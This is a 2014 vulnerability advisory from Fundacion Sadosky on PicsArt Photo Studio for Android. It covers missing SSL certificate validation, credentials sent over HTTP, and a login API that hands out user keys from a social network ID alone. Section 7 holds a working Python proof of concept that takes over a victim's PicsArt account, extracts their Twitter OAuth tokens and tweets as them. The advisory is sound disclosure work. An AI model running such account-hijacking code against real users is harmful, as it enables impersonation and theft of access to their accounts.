Fundacion Dr. Manuel Sadosky - Programa STIC Advisory http://www.fundacionsadosky.org.ar Insecure management of login credentials in PicsArt Photo Studio for Android 1. *Advisory Information* Title: Insecure management of login credentials in PicsArt Photo Studio for Android Advisory ID: STIC-2014-0426 Advisory URL: http://www.fundacionsadosky.org.ar/publicaciones-2 Date published: 2014-11-06 Date of last update: 2014-11-06 Vendors contacted: PicsArt Release mode: Unilateral release 2. *Vulnerability Information* Class: Improper Certificate Validation [CWE-295], Insufficiently Protected Credentials [CWE-522] Impact: Data loss Remotely Exploitable: Yes Locally Exploitable: Yes CVE Identifier: CVE-2014-5674, CVE-2014-NOCVE 3. *Vulnerability Description* PicsArt Photo Studio is a free and full featured photo-editing and drawing mobile app available on Android, iOS and Windows Phone. As of October, 2014 the Android version of the app had between 100 and 500 million downloads from the Google Play store. According to the vendor the app has been installed more than 175 million times, has a 7 million monthly growth and more than 45 million monthly active users[1]. Users can take, edit, publish and share photos on the PicsArt website and on popular social networks such as Facebook, Twitter and Google+ directly from the mobile app. Originally the PicsArt application for Android[2] did not use HTTPS to send security-sensitve information to the servers, allowing attackers to hijack PicsArt user accounts simply by capturing network traffic. After our original report to the vendor in May 2014, the app started using HTTPS but it does not validate the server's SSL certificate, allowing an attacker to perform Man-In-The-Middle attacks. PicsArt user accounts can still be hijacked by capturing the user id sent as value of the 'key' parameter in certain HTTPS GET requests. Additionally, a user can sign up to PicsArt using her Facebook, Twitter or Google+ account or using a standard email and password scheme. When the user signs up using a third party social network account, the user ID and access token obtained from those social networks are sent to the PicsArt servers to identify the user during the login phase. This implies that the PicsArt servers, not just the PicsArt Photo Studio application running on thte user's device, can impersonate the user on the social networks. However the PicsArt server API does not verify if the user's Google+, Facebook or Twitter access token is valid during the login of the Android application. As a result, an attacker can send a login request providing only a social network ID to obtain the PicsArt's credentials associated to that Google+/Facebook/Twitter user. This allows the attacker to obtain access to any user account created from a social network account. The attacker can also steal access tokens of PicsArt users to third party social networks such as Facebook, Twitter, Google+, etc. This issue affects all PicsArt user's who access their account via Google+/Facebook/Twitter. 4. *Vulnerable packages* . PicsArt Photo Studio for Android application prior or equal to version 4.6.12 and greater than 4.6.3 uses HTTPS but does not validate the SSL server certificate. . PicsArt Photo Studio for Android application prior to version 4.6.3 and greater than 4.2.2 uses both HTTP and HTTPS and does not validate the SSL server certificate. . PicsArt Photo Studio for Android application prior to version 4.2.2 does not use HTTPS to receive and transmit security sensitive data. 5. *Vendor Information, Solutions and Workarounds* After the initial report to the vendor, PicsArt released version 4.2.2. This version started using HTTPS for most, but not all, of the server API. Since 4.6.3 there are no API methods that leak the user's session key using HTTP. Adding HTTPS communication to the server in 4.2.2 didn't help fixing the problem since the application lacks of certificate validation allowing Man-in-the-Middle attacks. Despite several notifications sent to PicsArt, the last version (4.6.12, as of publication of this advisory) is still missing proper certificate validation checks. The server API is still missing the validation of the login access token. A workaround to prevent attackers from compromising a PicsArt user's Facebook, Twitter or Google+ account is to disable the PicsArt application access to their profile. From Facebook or Twitter go to "Settings|App" and remove PicsArt application from the list of apps. For Google+ go to "Account|Security|Apps and websites" and click on revoke access on PicsArt application. PicsArt users concerned about their privacy or the security of their account should stop using the Andorid application until patches with proper SSL certificate validation are issued by the vendor nad the Server APIs fixed. 6. *Credits* This vulnerability was discovered and researched by Joaqun Manuel Rinaudo. The publication of this advisory was coordinated by Programa de Seguridad en TIC. Will Dormann of CERT/CC independently discovered the SSL certificate validation vulnerability using the CERT Tapioca tool.[5] 7. *Technical Description* A user can sign up to PicsArt using her Facebook[3], Twitter[4] or Google+ account or using a standard email and password scheme. When a user signs using a social network, the PicsArt application uses the OAuth protocol to communicate with that site. If the user authorizes it, the PicSart application is provided with an access token from either Facebook, Twitter or Google+ that can be used to retrieve personal information or perform actions on behalf of that user. The application then uploads the access token to the PicsArt servers along with the ID of that user so that the server can create a new account associated to the user. Up to PicsArt version 4.2.2, this communication was done entirely over HTTP. An attacker capturing the request to 'http://api.picsart.com/users/signin.json' could retrieve the access token of Facebook, Twittter and Google+ as well as hijack the session token of PicsArt for that user. After our report to PicsArt, use of HTTPS was introduced by the vendor in version 4.6.3 in an attempt to prevent man-in-the-middle attacks as well as session hijacking. Unfortunately, adoption of HTTPS did not fix the problems. In version of the PicsArt Photo Studio app that use HTTPS, the socket object used to perform the secure connection uses a custom X509TrustManager. The TrustManager's task is to check the certificate presented by the server in order to prevent Man-in-the-Middle attacks. The class 'com.socialin.android.util.w' sets the default SSLsocketFactory used in the application to an empty TrustManager and the default HostnameVerifier to a dummy one. Because of that, any certificate presented by the server will be considered valid. This allows an attacker to mount a MITM attack intercepting traffic, creating fake X509 certificates on the fly and submitting them to PicsArt's Android application. Moreover, up to version 4.6.3 some requests performed by the application were still obtained using HTTP. For example, when a user opens the application, a request over HTTP to 'https://api.picsart.com/users/show/me.json' to obtain user information. Since requests that contains the user key as a parameter like this are being sent to the server, session hijacking is possible by simply capturing traffic. This was fixed in the version 4.6.3. Additional problems were found by inspecting how the PicsArt Photo Studio app uses the server API. When a user logs in with a social network account using the Android application, a HTTP POST request containing the user's access token and other information such as his name, user name, mail and a user identifier for the social network is sent to the PicsArt servers. The server API doesn't verify whether the access token provided is valid for an already created account and responds with the user key associated to the provided social network ID. This allows an attacker to obtain access to other user's PicsArt account by just knowing their user name on third party social networks. An attacker can also obtain the user's access tokens to third party social networks linked to their profile by requesting the user's profile information using the key provided in the previously described step. For example, if a user's has her Twitter account linked to her PicsArt account, the server's response to the profile information will contain the user's OAUTH_TOKEN and OAUTH_TOKEN_SECRET for Twitter. Since the Android's PicsArt application contains the APP_KEY and APP_SECRET embedded in the client code, an attacker has all the information needed to impersonate the client app and obtain access to a user's Twitter. Since the application has read and write permissions in that social network, an attacker could perform status updates. similar attacks are possible on other social networks such as Facebook and Google+. A sample proof-of-concept Python script to demonstrate that, knowing only a PicsArt user's Twitter ID, it is possible to retrieve the user's key from the PicsArt server API, use it get the user's access token for Twitter and then tweet with her/his account is shown below: /----- import sys import urllib import urllib2 from twython import Twython import json import traceback APP_KEY='<PICSART APP APPKEY>' APP_SECRET='<PICSART APP SECRET>' OAUTH_TOKEN='' OAUTH_TOKEN_SECRET='' def obtain_key(twitter_id): url = 'https://api.picsart.com/users/signin.json' only_twitter_id = '''{"id":"%s","token_secret":"","profile_url":"","screen_name":"","token":"","name":""}''' %twitter_id data = 'token=&auth='+ urllib.quote(only_twitter_id)+'&provider=twitter' req = urllib2.Request(url, data) response = urllib2.urlopen(req) jsonobject = json.loads(response.read()) return jsonobject['key'] def obtain_twitter_token(key): url = '''https://api.picsart.com/connections/show/me.json?key=%s''' %key response = urllib2.urlopen(url) data = json.loads(response.read()) print data global OAUTH_TOKEN OAUTH_TOKEN = data['response'][0]['token'] global OAUTH_TOKEN_SECRET OAUTH_TOKEN_SECRET = data['response'][0]['data']['token_secret'] def post_on_twitter(): twitter = Twython(APP_KEY, APP_SECRET,OAUTH_TOKEN, OAUTH_TOKEN_SECRET) print twitter.verify_credentials() twitter.update_status(status='Using twitter!') if __name__ == '__main__': if len(sys.argv) < 1: print "No Twitter ID specified" exit(0) userKey =obtain_key(sys.argv[1]) print "User key for accessing user's Picsart account is %s" %userKey try: obtain_twitter_token(userKey) post_on_twitter() except: traceback.print_exc() print "Failed accessing user's Twitter account" pass - -----/ 8. *Report Timeline* . 2014-05-05: Programa de Seguridad en TIC sent the vendor a description of the vulnerabilities found: the improper server validation of access tokens and the use of unencrypted HTTP communication with the server. . 2014-05-07: PicsArt indicated that the problems where already known and that due to previous technical problems the application had switched temporary to HTTP but that the new release, 4.2.2, HTTPS would be back. . 2014-05-07: The researcher communicated to PicsArt about having inspected the updated app and that although the communication was HTTPS, certificate validation was missing. Furthermore, Programa de Seguridad en TIC communicated the vendor that the improper validation of the login process was still an issue. The vendor was informed about a tentative date for May 21st set for publishing the advisory. . 2014-06-05: After receiving no response, Programa de Seguridad en TIC asked PicsArt about plans to fix the issues discussed. . 2014-06-05: PicsArt notified that they were releasing a version into beta with fixed security and other features but with no explanation as to what was being fixed. . 2014-09-11: Programa de Seguridad en TIC added the Computer Emergency Response Team to the conversation since they had also identified and notified PicsArt of the SSL certificate validation bug as part of their CERT TAPIOCA project [5]. . 2014-09-11: Vendor assured that a new release (4.6.3) was being deployed where the user key was not being transmitted over HTTP in version and that they were testing new bug fixes. . 2014-09-16: Programa de Seguridad en TIC asked for an estimated release of the application and informed to the vendor that the application was using an external library to implement their client side API transport ([6]) and this was one of the sources for the problem of not validating the certificates properly since they were explicitly calling library methods for skipping the validation process. . 2014-09-17: Vendor sent the researcher a new beta version where the external library wasn't instructed to avoid validating certificates. . 2014-09-18: Programa de Seguridad en TIC notified that the server validation and the HTTPS vulnerabilities were still unfixed. The latter was because the application was still defining the default SSLSocketFactory and HostnameVerifier in an insecure way. Researcher pointed the vendor to the class originating this definitions. . 2014-11-06: Advisory was released. 9. *References* [1] About PicsArt. http://picsart.com/about [2] PicsArt Photo Studio. https://play.google.com/store/apps/details?id=com.picsart.studio [3] Facebook Login for Android. https://developers.facebook.com/docs/android/login-with-facebook/v2.2 [4] Sign in with Twitter. https://dev.twitter.com/web/sign-in [5] Vulnerability Note VU#582497. Multiple Android applications fail to properly validate SSL certificates. http://www.kb.cert.org/vuls/id/582497 [6] Java HTTP Request Library. https://github.com/kevinsawicki/http-request 10. *About Fundacin Dr. Manuel Sadosky* The Dr. Manuel Sadosky Foundation is a mixed (public / private) institution whose goal is to promote stronger and closer interaction between industry and the scientific-technological system in all aspects related to Information and Communications Technology (ICT) in Argentina. The Foundation was formally created by a Presidential Decree in 2009. Its Chairman is the Minister of Science, Technology, and Productive Innovation of Argentina; and the Vice-chairmen are the chairmen of the countrys most important ICT chambers: The Software and Computer Services Chamber (CESSI) and the Argentine Computing and Telecommunications Chamber (CICOMRA). For more information visit: http://www.fundacionsadosky.org.ar 11. *Copyright Notice* The contents of this advisory are copyright (c) 2014 Fundacin Sadosky and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: http://creativecommons.org/licenses/by-nc-sa/4.0/